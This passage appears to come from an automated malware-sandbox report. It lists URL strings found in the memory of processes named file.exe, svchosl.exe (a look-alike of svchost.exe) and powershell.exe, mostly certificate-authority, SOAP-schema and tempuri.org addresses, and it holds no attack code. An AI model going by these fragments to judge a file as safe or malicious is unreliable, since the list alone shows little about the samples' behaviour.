http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: svchosl.exe, 00000010.00000002.3277827122.0000021306740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://greenbytes.de/tech/tc2231/
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9D9000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9D6000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: svchosl.exe, 0000000E.00000003.2370035552.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371533496.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369241126.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373739228.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2370807089.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2373528666.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369399572.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369877536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2371684654.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369699265.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2372601536.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, svchosl.exe, 0000000E.00000003.2369576437.000002061D9CD000.00000004.00000020.00020000.00000000.sdmp, select.pyd.14.dr, _bz2.pyd.14.dr, _ssl.pyd.14.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: file.exe, 00000000.00000003.2286126456.000000000AF31000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3300621958.000000000AF40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://purl.oen6
Source: svchosl.exe, 00000010.00000002.3277478424.00000213065F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://pypi.python.org/pypi/wget/
Source: svchosl.exe, 00000010.00000002.3282402293.00007FF8A8DFD000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: http://python.org/dev/peps/pep-0263/
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rmH
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000063.00000002.2775834529.0000000004EA5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: file.exe, 00000000.00000002.3280784216.000000000491B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/D
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: file.exe, 00000000.00000002.3280784216.0000000004965000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.3280784216.0000000004BA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10ResponseD
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: file.exe, 00000000.00000002.3280784216.0000000004881000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
